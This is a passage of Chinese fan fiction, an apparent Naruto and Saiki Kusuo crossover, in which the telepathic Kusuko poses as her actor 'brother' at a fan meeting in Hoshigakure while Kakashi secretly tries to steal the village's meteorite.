对,虽然雨隐村承诺萤火的,是揭破陨石修炼的副作用,但是长门想的却是直接毁掉那个可能会威胁到她的陨石,甚至不准备让她知道。 ‘呀嘞呀嘞,在某种意义上,还真是忠心,可是现在我也不能说,我当时是随便说的啊。’ 楠子沉吟了几秒,明知故问道:“雨隐村后续的安排是什么?” 紧张等待她回复的长门反而松了一口气,“萤火会在随后和雨隐村的医疗队一起到来,到时候,我们会试着说服星隐村的忍者。” “如果说服不了呢?” 长门的神色间闪过一丝阴郁,“那么,就会由我来摧毁那块陨石。” “是吗?”楠子瞥了他一眼。 ‘在说什么谎啊,明明准备一进入村落就毁掉那块陨石的。’ 她想了想,道:“你是记起来当年我说的话了吗?我当时说,核弹、陨石,或者火山爆发能伤到我。你是因为这件事情所以才这样紧张吧?” 长门垂下了目光,有些尴尬。 楠子的语气有些戏谑,“但实际上,你知道斑有一招,叫做‘天碍震星’吗?那是一招召唤天外陨石的术。我当时说的,其实是指他。对了,你现在应该已经知道他是谁了吧?” “呃?”长门沉默了,几年过去,再加上宇智波斑并未遮掩自己的身份,连带木叶暗中的戒备和示好,斑和泉奈的身份在雨隐村早就不是秘密。 他只是没想到当时楠子大人说的能伤害她的人,居然是宇智波斑而已。 “所以,那一块陨石对我来说,并没有什么妨碍。”楠子轻松说着,感觉到长门心中块垒去了一半,另外一半却又在忧心自己和宇智波斑、泉奈之间的关系了。 ‘这样简单就消解了……’她心中想着,垂下了眼眸。 阳光透过森林的缝隙,洒在了她的睫毛之上,几乎润泽出半透明的色彩。 她又想起了卡卡西。 ‘如果我和卡卡西之间的隔阂,也能这样简单就消解,就好了。’ 可是,怎么可能呢? 因为不仅是卡卡西,就连她也有着不能说出的秘密啊。 就像是现在这样,明明能直接让卡卡西恢复,却还要顾忌恢复的节奏,不让他起疑。 这样有着“厚壁障”的两人,又怎么能在一起呢? 心脏传来钝钝的疼,但楠子知道,那并不是因为不能恋爱,而是因为,或许她永远都无法拥有能完全信任的人。 ‘不过……在这个世界的话,也无所谓吧。’ 她深吸口气,振作起来。 用异能将星隐村的周边探查一圈,她蹙起了眉。 星隐村处在一个谷地之中,周围一圈有着黄绿色的毒障围绕,连星隐村的忍者往来,都需要带防毒面罩。 可那种毒,似乎和卡卡西中的“毒”有所不同。 “楠子大人,雨隐村的医疗队也将一起到来,您不必担心。” 长门说着,楠子点了点头,‘算了,想来我也不必那样担心。’ 于是,三天过去,楠子一行人见到了所谓的雨隐村的医疗队。 她看着那过于炫酷的车斗,以及车斗上的巨幅人像,微微张开了嘴。 车上,一个女人跳了下来,她看过一圈,目光定在楠子脸上就是一亮,“蹬蹬”跑了过来。 “你就是楠子吧?果然和你的哥哥长得很像啊!”那女人推了推眼镜,转身看向了那巨大的人像,“怎么样?这是你哥哥最新的电影哦!很帅气吧?” ‘帅、帅气?’ 她看着那车斗上一头亮粉色的头发及带着绿色眼镜的面瘫脸,咬紧了牙,“确实是……很帅气啊。” 63.哥哥或妹妹 那车头上的巨型人物海报就是最近的新锐演员楠雄! 他也是齐木楠子的双胞胎哥哥。 “这是谁?” ‘不要问这种问题啊!’齐木楠子知道这绝对会像是触发某种关键词一样,引来NPC的回答。 就像是现在这样。 “啊,他是我们公司的男艺人,你知道《名侦探楠雄》这部电视剧吗?是他主演的,虽然每年只出一部,但是超级火的啊,是现在最流行的侦探推理剧呢。对了,我是这部剧的编剧。” “编剧?”妙火看着面前的名片颇为诧异,“可是我以为来的会是医疗忍者。” 面前戴着眼镜的女人温柔一笑:“是哦,编剧是我的主业,医疗忍者是我的副业。我的名字叫做漩涡芳朵,请多多指教啦。” ‘为什么会是她来呀?’楠子用眼神询问身旁的长门。 芳朵全名确实叫漩涡芳朵,是楠子三年前在银之都发现的漩涡一族忍者。她原本被一个叫做春风真悟的忍者胁迫,差点就要因为特殊的体质被卖到其他忍者村里,因此犯下了杀人罪。 是“楠雄”将她救了下来,并将她介绍给了长门。虽然这样,芳朵却并不愿意当一个忍者,或者说只当一个忍者。 她没有什么上进心,所具备的特殊忍术更是难以启齿,因此更希望能够当一个编剧。于是雨隐村派出的代表和那位老板的公司接洽,联合建立了经纪公司。 在一些雨隐村忍者眼中,那就是长门为了楠子,把她的哥哥安排进了雨隐村注资的经济公司。而在此事过去没多久之后,芳朵就生下了一个女儿,取名叫香燐。 至于这一次她为什么到来…… “我是来取材的。与世隔绝的村落,禁忌的爱情,这简直是暴风雪山庄的标准模板呀。”已经越发自信的芳朵推了推眼镜,脸颊上出现了两抹红晕,“《名侦探楠雄》已经很火了,但那只是电视剧,楠雄还缺一部大爆的电影呢。” ‘我才不要演什么禁忌的暴风雪山庄杀人事件……’齐木楠子木着脸。 她愿意出演推理剧,也只是因为她真的非常喜欢推理和侦探,能够以那样的形象融入其中,又能挣大钱,她当然愿意了! 毕竟丢脸的是楠雄,不是齐木楠子。 至于那副海报,则是《名侦探楠雄》最新的大电影。 这部电影有一个巨大的噱头,那就是只有楠雄没有得到相应的剧本,反而是像拍摄情景剧本杀一样,以真实的反应代入。这就像是有一大群NPC陪你一起玩啊,简直就是推理粉丝的最高待遇! 楠子那个时候甚至是刻意屏蔽了自己的读心术,来体验推理的乐趣。 至于另外一个原因,当然是为了零花钱。 孤儿院的钱她不能轻动,也不好意思去挖雨隐村的“金库”,甚至还要往里面输血,那么想要攒自己的钱,自然就得通过一些别的方法了。 比如让楠雄演戏,然后再通过银行账户转给自己的妹妹。 这也是不得已的,虽然她是个忍者,可也只是个下忍研究员呀,有什么资格获得大笔的工资呢? “而且这次的潜入任务也需要芳朵小姐的帮助。”一个高大的男人走了过来,“我是萤火,也是这次任务的委托人。” 长门摇了摇头,“雨隐村并不把这当做一个委托任务,我们只是善意地提供帮助而已,对了,这是楠子小姐和木叶的旗木卡卡西上忍。” “哦,长门和我提过你,说是你的医疗忍术很强。” 【呃,糟糕,因为当时想着楠子大人无所不能,所以就顺口说了出来。】 长门的脸因窘迫而发红,在卡卡西的眼中反而显得碍眼。 【在脸红些什么啊。】他心中嘀咕,可想起了自己不甚光彩的任务,连眉眼都变得阴沉,只是他思绪一转皱起眉来: “等等,你们说这次的潜入任务需要她的帮助是什么意思?” 萤火露出了一抹苦笑,看向了兴奋的芳朵。 “那当然是因为我们要在星隐村播放楠雄主演的大电影《名侦探楠雄》的剧场版呀。楠子,你还没有看过你哥哥的这部电影吧?” “呃……”齐木楠子已经脚趾抠地了。 她从方才开始就已经察觉到了芳朵想要做什么。似乎自从楠雄,也就是她的哥哥救下了芳朵之后,芳朵就一直想要报答楠雄。 尤其是在楠雄隐晦告诉她,她那个时候其实怀孕了,帮她联络到雨隐村的族人,保障了她的安全和自由,又让她的女儿香燐过上安定平和的生活之后,她就直接成了楠雄的拥趸。 因此,为了让楠雄火起来,她简直不遗余力,到了如今,连面相都变了。 咳咳,当然不是变差了。 而是变得更加充盈自信,而且连她身上被噬咬的伤疤都被楠雄托栗子大人治好,她还有什么遗憾的呢? 二十六岁的芳朵满是朝气,十六岁的楠子却暮气沉沉。 ‘天呐,怎么都来到了这种偏远的地方,我还是没有摆脱这样的境地呢?’ 对于一年只想着玩一次,捞一笔的楠子来说,看着自己演戏简直就跟凌迟一样啊。 她正想着,芳朵却已然更加高兴起来,“没想到这次会遇到楠雄的妹妹楠子!那么我的把握就更大一些了。” “更大一些是指什么?”卡卡西还未知晓答案,但是能够听到芳朵想法的楠子却已经虚下了眼。 “就是让楠子装扮成兄长楠雄,以电影明星的方式进行宣传啊!” “不行!”卡卡西想也不想直接拒绝。 他不想让楠子冲在前面,也不想让她接触演戏。 因为那个楠雄成为演员之后,哪怕没什么作品,也根本不忙,却依旧一次都没来木叶村看过妹妹啊! 他们兄妹无论是相似的样貌,还是在冷淡方面,都几乎一模一样,要是楠子哪天也喜欢上演戏,那她不就,不就…… 【她还那么爱钱!】 ‘爱钱到底怎么你了啊……’楠子虚下眼。 “嗯?”芳朵眨眨眼,笑得有些尴尬,“可是我听说,楠雄把他的大部分钱都转给了楠子,我想……楠子应该不至于这点小忙都不帮吧?” “呃?”这件事他完全不知道!卡卡西大受打击,目光直勾勾盯视楠子。 ‘不是,这件事是我的私事吧,为什么你一副被背叛了的神情啊。’ 她不得不开口:“可是星隐村现在在戒严,应该不会这么简单就上当吧。” “我好歹也是一个上忍,”萤火握了握拳头,“我的身体已经恢复了很多,就算是仅仅为了恢复的方法,我想星隐大人也一定会给我们机会。” ‘是吗?但还是觉得好丢人啊……’ 在别人不知道自己是齐木楠子的情况下丢脸,和她齐木楠子自己丢脸,可是截然不同的事啊! 何况,卡卡西还在这里,就没有更体面一点的方式吗? 楠子瞥向卡卡西,对方的神色逐渐严肃,终于恢复到了“任 务模式”。 他的身体状况还是不好,身为木叶的忍者,又根本无法主导这次由雨隐村接下的“任务”。 要怎么完成盗走陨石的任务呢? 【如果要偷走陨石的话,背弃与雨隐村的盟约也就罢了。可楠子那么聪明,一定会想到是我吧?可恶……】 又开始阴沉了,但……还是想要完成任务的吧? 楠子的眉头蹙起又松开,抬头道:“好,没问题,我会配合你们完成任务。但相应的,我也有我的任务。” 萤火神色郑重,“是什么?只要是不危害星隐村的话……” 楠子止住了萤火,语气坚定,“我……要那块陨石。” 萤火的眉头明显皱了起来,只是看着齐木楠子冷淡的侧脸,思虑了半晌,点了点头:“其实我原本也是想要毁掉这块陨石的,只是我希望你们在拿到它之后,不要犯像我们村子这样的错误。” 见楠子点头,他又抱歉地看向了长门:“抱歉,长门。原本说将这块陨石给雨隐村的,但是我想或许将陨石交给木叶这样的大村落更好。” 以己度人,萤火一开始就认为雨隐村拿到了陨石,说不定也会让一些忍者利用陨石进行修炼,而木叶这样的村子,反而会有严格的体系控制陨石的使用。 他错了,长门却没有纠正,或者说根本没有想到对方的想法。 他只是服从楠子的一切命令。 而且就他猜想,楠子大人应该也有应对陨石的方法才对。 事实也确实如此,如果没有100%的把握将那块陨石的性质变得安全,她也不会将它交给卡卡西。 至于木叶到时候什么都研究不出来,只要推说是星隐村的特殊环境就好,毕竟连她也不确定,为什么星隐村附近会有一个环绕型的毒障久聚不散呢? 一行人行动起来,齐木楠子打扮成楠雄的模样。 她并未彻底将自己变化为男性形态,只是穿上了楠雄的戏服。 看到她,芳朵眼前一亮,嘴中就开始念叨着什么“双胞胎诡计”,陷入了神游当中。 ‘没想到真实的芳朵居然是这样的个性啊,真希望她的女儿不要和她一样。’齐木楠子有些无奈,只是见到卡卡西的时候就越发无语了。 他的思绪又杂又乱。 【楠子不会真的和她的兄长离开吧?毕竟做忍者这么危险。】 【……我在想些什么呀?如果是她的话,远离危险不是更好吗?】 【楠子居然说要陨石,她难道知道些什么吗?那她是不是其实知道暗部的任务都……】 【可恶,卡卡西,你可千万要振作起来呀!】 ‘你确实该振作起来了呀,卡卡西。’楠子在心里想着。 他一向那样睿智冷静,没想到自自己出现之后就失去了分寸,难道她齐木楠子是什么灾星吗? 不会吧,至少楠子自己不那样觉得,可对方因为自己而进退失据也是事实。 ‘果然说什么两男一女组队能够激发竞争心理,都是男人的臆想吧。明明就只能增加难度而已。’ 她心里想着,就见那边的妙火正在偷瞄她,而后忽得躲闪开来。 这个看似柔弱的女孩面带失落,手捏着衣服的下摆,欲言又止,可单单听那心声来说,她的性格可绝不像是她表现的那样啊。 ‘算了,只要不妨碍任务的话,妙火究竟是怎样的个性,也无所谓。’早就见识到了许多心口不一的人,楠子干脆地移开了目光。 64.姐妹 一切都如同萤火的预料,星影允许了他们的进入。 “因为萤火的缘故,我可以允许你们在星隐村进行一定的宣传活动,但是如果大家不想参与,那么我也不可能强制。” “没问题,星影大人。”芳朵笑着说。 按照之前的安排,这一次的活动就由芳朵来主导,而以长门为代表的雨隐村忍者则作为护卫忍者。 卡卡西和妙火就刚好混入其中。 至于楠子,她现在一身考究的英伦服饰,衬衫背心猎鹿帽,马裤扎在皮靴里,短款的斗篷扣在肩头,长发束在脑后。 这样一身雅致的装扮,自然得配金丝眼镜,这就让此刻男女莫辨的楠子更像是一个斯文败类。 尤其那精致的下巴,冷淡的眼神,如同窗棂外寂静的蓝色月光,透着极致的冷。 但这束月光,却是暗夜里唯一的光。 “仔细看,还是有所不同的嘛~”芳朵很高兴,【只是这样看,就更像是斯文败类了。】 ‘呀嘞呀嘞,我可是听得见哦。’楠子目移。 “楠子,现在你的身份就是来自火之国的明星齐木楠雄,你只要像是你哥一样,这样说~”芳朵抬起了手指,动作十分夸张地拂过了刘海,然后面对几人飞出一个wink。 “亲爱的小猫,你还好吗?” 全场,寂静无声。 楠子深深地埋下了头。 ‘不是,难道我作为楠雄的时候,是这个油腻的样子的吗?’ 看见了众人的神色,芳朵的身体也渐渐僵硬,“咳咳咳!总之,以楠子你的帅气,应该也没问题了!” 虽然这样说,但是其实是有问题的。 芳朵那带着楠雄大幅海报的马车已经停在了星影村中间的空地上,广场上拉出了一个帐篷,外围的雨隐村忍者严阵以待。 可是一阵风吹过,吹动了地上的落叶,这里空无一人。 当然啦,楠子是能够感觉到周围的建筑隐蔽处,有很多注视着这里的眼睛,但不出现就是不出现啊。 【呃,怎么办?楠雄……难不成我的计划会失败吗?】芳朵的心声传了过来。 楠子不必去看都能感受到她握在手臂上逐渐收紧的手指。 还有身后不远处,妙火已经拉住了卡卡西的衣角,“卡卡西,怎么办?没有人来,要么……我去找找人?” 卡卡西摇摇头,但实际上,心中除了担忧,也在思考自己的任务。 【楠子说了她要拿走那颗陨石,现在这个情况,是不是还是由我来出手比较好呢?】 ‘哎……’楠子垂下了眼睛。 她早就预料到了情况会是这样。 即便作为齐木楠雄,她也不算特别火的明星,只是因为手中有着《名侦探楠雄》这样的爆剧系列,所以每年都会在电视节目上火上一把而已。 其他的综艺啊、代言啊,她能躲则躲。毕竟她也是很忙的,就算是拍剧,有的时候都是用时间跳跃前往拍摄的。 也正是因为这样,没有一个人怀疑远在银之都的齐木楠雄和木叶的下忍齐木楠子是一个人。 现在这样,明显还是要吸引人来啊。 楠子走上了前。 “嗯?楠子?”芳朵感受到了肩膀上的重量。 “把音响搬出来吧。” “什么?”芳朵有些意外,就见楠子微微低了低下巴,那姿态和时常带着傲慢神情的楠雄不同,但是眼底的骄傲却如出一辙。 “恰巧,我也略通一些唱歌。” 或许不仅仅是略通,以她的肌肉控制能力,在KTV唱歌的话,可以得到满分100分的好成绩呢。 而且,无论是作为楠子还是楠雄,她都曾经为了夺取唱歌大赛的奖金而努力过。 拿起一把吉他,轻轻拨弄琴弦,不一会儿,清越的歌声就响在了空地之上,如同流水卷动着花瓣。 她所演唱的,是《名侦探楠雄》其中一部电视剧的主题曲,原本就是女声,她在演唱的时候,稍微调整了一下嗓音,就采用了还未变声时那兼具少年和少女意味的声音,将整首曲子唱了出来。 “夕阳下你映红的脸,是我遥远的思念 还记得当年那天,你牵着我的手 一步一步迈下了台阶,我还以为那是永远 …… 我并不会责怪,只愿月光能实现我的心愿, 我希望能再回到那一天……” 随着演唱,那歌声就像是丝线,牵扯着星隐村的少女们从隐蔽的房间中走出,来到这片空地之上。 一首,两首,三首…… 楠子逐渐找回了感觉,台下聚集的人越来越多,手指拨下最后一个和弦。 她抬起眼,露出浅淡的笑容,底下的少女们就发出了“kya~”的尖叫声。 楠子清了下嗓子,笑容逐渐加深。 “各位美丽的小姐们,马上我们就举办握手会,如果想要和我详谈的话,就可以排队进入哦。” 她的手指滑过短短的刘海,笔直的指向了前方,露出灿烂的笑容,“那我,就期待各位小姐的到来!不要令我失望哦!” 【就是这样!】芳朵的心声震耳欲聋。 楠子的身体猛地一颤,连笑容都僵硬了几分,匆匆退场。 “楠子,你做的太棒了,我还在想你和楠雄是不是生疏了,但是现在看,你还是很关心你的哥哥的嘛!我实在太感动了!”芳朵眼泪都要下来了。 “呵、呵呵,我确实看了一些哥哥的影像资料。”对!那可不是本真的我啊! 楠子觉得丢脸。 身为楠雄的时候,只要想着挣钱就行了,作为楠子,想的就得多了。 只是这个时候,还有一个心声令她在意。 【……好想,继续听楠子唱歌啊……等等,卡卡西,现在不是走神的时候,要么趁现在,去查探一下陨石的情况吧。】 卡卡西正欲抬步,就听见了楠子叫他的声音。 “卡卡西,你跟在我身边。” 【嗯?】他蹙起了眉,正准备说明,却忽而发现妙火就站在他的身边,听到了楠子的声音,就露出了有些伤心的神情。 【等等,楠子……难不成是在吃醋吗?】这个想法让他脸色爆红,几乎完全忘记了之前偷偷去查探的计划,甚至没注意楠子望着他虚下的眼睛和后面的话。 “妙火,你也来吧?” “我吗?可是,如果被其他人认出的话……”妙火有些为难。 “没事的。”楠子摇了摇头,对她露出了笑容,“我也需要你帮忙帮我说一下大家的情况呢。” 妙火迟疑了一瞬,点了点头。 ----------------- 准备工作只用了几分钟,楠子就已经坐在长桌前做她早已熟悉的工作。 因为有心灵感应,所以妙火的解说实际上只是一个遮掩,她更多的是利用自己心灵感应切入大家的心灵,从而为大家答疑解惑。 ‘能变成这样无耻的少年,还得多谢大蛇丸师父的教导呢。’楠子心里想着,如同往常粉丝见面会一样,模仿着师父的语气,和胆大的大姑娘拉小手,又和羞涩的小妹妹笑语晏晏,不一会儿就套出了好多话。 “咳咳。”一个瘦弱的女孩咳嗽起来。 楠子眉头微蹙,面露担心道:“你感 冒了吗?” “不,不是,只是最近嗓子有点问题……” “是吗?但是,如果你继续咳嗽下去,我也会担心的哦。啊……这次随行的医疗忍者在外面也很有名气,要么让她给你检查一下?” “可是……” “啊,有点冒犯了吗?抱歉。”她微微侧过了头,眼眸自下而上看向了对方,将声音压低了下去,“我……只是有点担心你而已。” “咻!”旁边站着的妙火简直像是听到了那女孩被爱之箭刺中的声音。 【这、这是怎么回事啊?】她偷眼去看旁边的卡卡西,可在面具的遮掩之下,她什么都看不到,那边,齐木楠子已经进行下一轮“催眠”了。 一个接着一个,齐木楠子总能说出一些女孩子们担忧的病症,而后说服她们去接受更详细的检查和治疗。 实际上,都不用手部的接触,仅仅凭借肉眼一打量,她都能够发现面前少女们的不妥之处。 她们的身体或多或少都像是被辐射影响过一般,导致细胞排异,甚至影响到了身体的运转,简直就像是某种免疫缺陷病。 因为发病随机,所以每个人的表现都不尽相同。 这大概就是为什么星隐村有人疑虑,有人却不以为然的原因吧。 身后有人心音颤动,楠子眸光一闪看向面前坐下的少女。 她头上包着厚厚的头巾,如同巨大的灯泡,一身短打,光看面相大约和她差不多大,一身小麦色的健康肌肤,如果不是脸颊一侧短小的十字型刀疤,看起来和妙火极为相似。 她实力看起来不强,气势却足,一张口就道:“我叫妙珊,你们见过我的妹妹妙火吗?” “嗯?你是指前面的女孩们吗?应该是没有叫妙火的啊。”楠子答道。 “哼。”妙珊没有说话,目光却已经移到了她身后的妙火身上。 不知这位姐姐究竟有多凶恶,妙火身体微微颤抖,连脚步都不自觉向后退了一步。 楠子眉头微蹙,脸上笑意微淡,挡住了妙珊的视线。 “抱歉,这是我的工作人员,她可不负责饭撒的哦。” “饭撒?那是什么?……算了。”妙珊抱起了手臂,面露忍耐之色,“我只想说,如果你们是想要打陨石的主意,那我劝你们放弃。” “陨石?那是什么?” “不要装傻!”妙珊站了起来,俯视着楠子,“我管你什么帅哥不帅哥的!忍者最终还是要看实力!” “可是,就我来看的话,星隐村的实力也只是一般而已。” “什么?”妙珊恼怒地看向了迈前一步的面具忍者,她知道,这个家伙应该就是引诱妹妹一起逃跑的忍者。 而卡卡西只是冷笑着摊手,“难道不是吗?只不过是在一个小小的村子,不要坐井观天了。” 楠子望着他们,虽然一直都知道卡卡西对外很强势且毒舌,但她确实很少见到卡卡西这幅模样。 不过,他的心声依旧冷静,这样做也只是为了将妙珊的怒火转移,顺便诈出更多的消息而已。 只是这次或许是棋逢对手,眼前的妙珊也心口不一。 楠子看向了妙珊,这个少女的脸因为愤怒显得扭曲,“你懂什么!星影大人一定会带领我们强大起来的!”【妙火!既然跑了,干嘛还要回来!】 “靠什么?靠这些病号吗?还是靠你们那颗陨石!”【必须要知道,那颗陨石在哪里。】 “大家在生病只是因为巧合!”【妙火的身体怎么样了,她……】 “这么巧吗?”卡卡西的眼眸里带着探究,“呵!不要在这里说大话了!有本事,你让我们见识一下那块陨石?” 65.第二次的机会 钩直饵咸,真是钩直饵咸。 ‘呀嘞呀嘞,居然使用这么直白的激将法,卡卡西你居然不肯为她多费一点心思吗?’楠子眨动了一下眼睛,‘妙珊也是,叽里咕噜说什么呢?’ 她的目光落在了妙珊脸上,看着她露出了不服气的神情,而后激动地答应,甚至约好了见面的时间和地点。 “今天晚上的防护一定会特别严密!”【所以你们别来!】 “但明后天,就是我认识的前辈来守护陨石,我可以偷偷带你们去!”【等明天我就举报你们!】 “哼!等到你们见识到陨石的力量,就会死心了!”【妙火,快点离开吧,再也不要回来。】 她说着已经撩开帐篷的帘子,回头冲着几人说:“还有,楠雄,不要以为自己获得了忍者的保护,就能在星隐村横着走,总有人能收拾你的!”【摸前辈们女朋友的手,也不怕被套麻袋,就算是个帅哥也恶心!】 “嗯?”你夸我是个帅哥了吧?楠子有些意外。 她虽然化了妆,但自认为和楠雄那种臭屁的模样还差的很远吧?那么到底是妙珊眼神不好,还是她的演技已经出神入化呢? 齐木楠子,想入非非。 “楠子,我的姐姐,不是那个意思……”妙火似是有些着急,抬手就想要拉住楠子。 还沉浸在楠雄人设中,楠子回过头,按住妙火的手,深情道:“我明白。” ‘嘶~’ 她的背上感觉仿佛有针在扎,不必回头去看,就能感觉到妙珊又呲着牙自门口露出了头,在三人奇异的目光中,用两只手指头比了比自己的眼睛,又指了指三人,连嘴巴都变成了“皿”字型。 “I'mwatgyou!”她似乎在说。 ‘真是无妄之灾啊,你的妹妹喜欢的是旁边的帅哥啊,干嘛要我背锅。’ 而且无论是已经习惯“饭撒”的楠雄,还是伪装成“楠雄”的楠子,都不会随便乱摸女孩子的小手,而是对方心声中有那样的期待才会做的啊? ‘我和那些猥琐男可不一样,真是无人能懂我的才华。’ 手指拂过刘海,楠子摆了摆手止住了卡卡西和妙火的话头,看向了外间,露出了专业的营业式笑容。 “来吧,下一位。” ----------------- 握手会进行得十分顺畅,据妙火的大致计算,几乎全村未婚的女性都出现了,而且是全妆出现! 至于结婚的,则大多数都有自己的事,要么照顾小孩,要么就在做任务。 再年长一点的女性就更少了。 至于木叶村那种固执的老头、老太,即便楠子出来,也一个都没见着。 这个村落太过年轻,那年轻之中却又有一股暮气。 广场帐篷的隐蔽处,几人围在一起。 妙火咬了咬嘴唇,垂下目光,“三十岁……只要到了三十岁,大家的身体就都会逐渐虚弱,所以大家都想着要早点结婚,生下孩子。” 说着,她的目光不期然地向着卡卡西望去,而后又像是兔子一样缩回,柔弱的如同一朵栀子花。 可卡卡西就像是眼瞎了一样,朝着楠子贴近了一步,“不知道男性的情况,但是估计也是一样。” “嗯。”骂的可真脏啊…… 楠子只有这一个想法。 妙火看起来柔柔弱弱,其实心里火爆十足。 好在她没想着骂楠子,只是翻来覆去地以“卡卡西是个猪头佬”为主题,写了一篇满是屏蔽词的小作文。 屏蔽掉妙火心中对于卡卡西的怒骂,楠子点点头。 带领着医疗团队的芳朵也递上来一沓资料。 “检查已经结束了,很奇怪啊。她们大部分都是因为体内的细胞在互相攻击,这更像是排异反应,不过,我也不是专门的医疗忍者,只是见过类似的记录而已。” “类似的记录?!” 众人十分惊讶,芳朵不由得瑟缩了一下,站在了楠子身后,看了看长门,又看了看楠子,咬牙道:“那个,就是和……尾兽有点相似。” 她其实是想说外道魔像的。 在重新拥抱“漩涡”一族的身份之后,她与长门的关系变得无比亲近,因此也见到过对方召唤外道魔像的样子。 那个时候还是为了研究,雨隐村的强大忍者们聚集在一起,帮助长门挖掘轮回眼的潜力。 除却不需要借助“外道魔像”的几种特殊瞳术,那个巨大的“召唤兽”也是研究的一环。 得出的想法就是,长门的专属“召唤兽”外道魔像只是个躯壳,如果不在其中注入大量的查克拉,就无法做出杀伤强大的攻击。 而长门的查克拉量虽然也很丰沛,但远远达不到外道魔像的要求。 于是,结论就是…… “长这么大,结果没什么用啊……” “如果等到需要你用自杀式袭击的话,那估计我们大概都丢脸至死了吧。” “别这样说嘛,放到鬼屋里看看还是会吓人一跳的啊。” “那都不需要外道魔像,山椒鱼大人自己站在那都行吧。” “你是想死吗?” “等等,要不要建个鬼屋的影视主题乐园创收?” “哈哈哈哈~” 芳朵的体质与普通漩涡一族不同,只要咬破她的肌肤,吸取她的查克拉就能达到恢复的目的。 在一些忍者眼中,这根本就是免费的“伤药”。 既然是伤药,就不必在乎她的想法。 可雨隐村的忍者似乎因为太过强大,根本不将她的“天赋”看在眼内,甚至还比不上雨隐村新发明的“挂墙电视机”。 她也是见到了这样的景象,才能放心呆在雨隐村忍者的保护之中。 “尾兽啊……”卡卡西神情凝重,他想到了漩涡玖辛奈。 如果那陨石不是陨石,而是尾兽的残肢的话,木叶要那个,又是要做什么呢? 【如果我将陨石带回去……是不是也会影响到师父和师娘?】 无怪他这样想,在执行暗部任务的这段时间内,他已经体会过无数次这种“恶心”的事。 原本只以为是普通的完成任务,结果最后却导致了恶果。 【就因为不知道会造成那样的后果,所以就能理直气壮地说,那不是我的错吗?我……】 他的心又开始下坠。 “卡卡西。” 卡卡西抬起头,就对上了楠子深紫色的眼眸。 他已经有些记不清楚楠雄长相的细节,可楠子的眼眸是水晶,在灯光下,折射出柔和又灿烂的光。 被这层光芒拥入其中,就像是整个心灵都被洗涤净化了。 被他注视着,楠子又像是往常一样,微微蹙眉移开了目光,而后像是飞鸟一般盘桓回他的眼中。 她语气温柔,和“楠雄”的状态截然不同,“不要太担心,大家都会帮忙的。” “嗯?……嗯。” 卡卡西明白,大家想要帮助的,恐怕并不是他,而是萤火。 至于和木叶合作,一是因缘际会,二则是因为楠子。 而自己那类似于偷盗者的任务,又怎么能让楠子知道呢? 借由盟友的正义任务搭顺风车,这太过卑劣,也太过无耻。 他当然是会去完成任务的……但是这份纠结却无计消除。 “卡卡西,如果有什么麻烦的话,就告诉我哦。我们是朋友,我是一定会帮助你的。” 无人处,楠子认真地对卡卡西说。 “没有,没什么,你做的已经足够多了。” “……真的没有什么吗?”楠子望着他,他也只能别开了脸。 她是那样敏锐,恐怕已经察觉到了不妥之处,可是楠子还有一个优点。 那就是一旦别人表现出拒绝的意味,她就不会再强逼。 卡卡西皱起了眉,露出了一副厌烦的模样,“我说了,没有就是没有!” 【糟糕,语气太冲了,楠子不会生气吧?可是,不能让她知道这次的任务是什么。】 眼珠刚转过去一点,又转了回来,他继续说:“这是我的任务,我会完美完成的。” 说着,他瞬身离开。 < p>楠子望着卡卡西的背影。 许久,空气中传来一声叹息:“这可是第二次机会了哦。” ----------------- 傍晚,似乎是所有人的行动回合。 巨大布质幕布上正播放着楠雄出演的大电影《名侦探楠雄:情人节杀人案》,讲述的是一对恋人因为误会,互下杀手,因为爱意中止犯罪,却被人利用,双双濒死的故事。 电影中楠雄的目标就是抓住凶手。 剧情中的转折让大家惊呼连连,注意力似乎都集中在了电影上。 但暗夜中,卡卡西却在试图潜入星隐村安置陨石的地方。 这行为并不算道德,齐木楠子却能理解,因为在其他的时间线上,在根组织,她都见过更黑暗的事。 如果不是那样,她也不会不喜欢忍者这个职业。 无论是卡卡西还是朔茂大叔,内心里其实都还有着自己的道德准则,这才是让他们内心感到痛苦的原因啊。 齐木楠子靠在广场的阴影处,似乎在打瞌睡,实际上却在注意卡卡西的一举一动。 身边,忽而有人靠近。 “楠子大人。”长门站在了她的身侧。 ‘呀嘞呀嘞,看来我倒是不得不解除千里眼之术呢。’毕竟她可不希望对方看到自己的“斗鸡眼”。 微微抬头,她说:“在这里,叫我楠子就好。” “是,楠子大人。”长门颔首,似乎根本没有注意到自己“违抗”了楠子的命令,而是说,“楠雄大人的演艺事业一直不温不火,他……不考虑回到雨隐村看看吗?” ‘我的演艺事业一直不温不火还真是抱歉了啊。’楠子面无表情,“他啊,恐怕更喜欢外面的天地呢。” 【就像是楠子大人喜欢留在木叶一样吗?】长门蹙起了眉头,却没想到楠子也因为他这个想法意外呢。 ‘这是在焦虑什么呢?难不成,雨隐村又有什么变故?’楠子安慰道:“没关系的,长门,无论是我还是楠雄,一旦雨隐村里出现危险,都会立刻回去的。” “那么,楠子大人,难道不会思念楠雄大人吗?……我是说,楠雄大人,是您的兄长吧?”长门低声问着。 楠子一怔,因为带土也问过这件事,而在木叶,无论是卡卡西、琳,还是大蛇丸、野乃宇,其实都有这样的疑问,只是面对她的冷脸和现在忍界的境况,一时问不出来而已。 毕竟,楠子是木叶的忍者,一旦楠雄来到木叶,说不定就会被“保护性移居”,这样来说,两个人不碰面才是最正确的选择。 但是“栗子”和“晓”是不同的,只要他们想,就可以立刻会面才对。 ‘出现了!这就是说出了一个谎言,就要用另外一个谎言去遮掩的规则啊。’ 楠子嘴角微抽,但是她其实早就做好了预案,此刻做出了一副深沉的模样,看向了夜空。 “长门,你知道为什么天空中出现月亮的时候,就难以见到星星吗?” 长门无法回答,他又不是像齐木楠子一样的科研人员,只能看着齐木楠子,等着她继续讲下去。 楠子露出了一丝笑容,“因为一旦月亮出来,星星的光芒就会被遮蔽。我和楠雄也是一样,所以我们并不会聚在一起。” “……但是难道不会想念吗?” 楠子转过了头,“我和他,除非出现陨石撞击地球这样的大事,基本都没可能死亡,自然不需要思念吧。” 她正说着,忽而感觉长门的心中又被点亮了什么关键词,她却来不及分辨。 因为远处的房屋忽而传来一阵轻微的骚动,楠子眯了眯眼,使出了透视,单凭透视的能力,就看到了卡卡西正在某处阴影中隐蔽自身的位置。 她眯了眯眼睛,“长门,卡卡西。” 长门微一点头,踏后一步,抬手结印间,已经有一个“卡卡西”同样站在了阴影中。 雨隐村的忍者已经迎上了来人。 那人眼神呆滞,神色却惊疑,目光在忍者之中搜索着,道:“星隐村丢失了重要的物品!需要进行搜检,你们所有人都不要动!” 66.戳破 丢失了重要的物品? 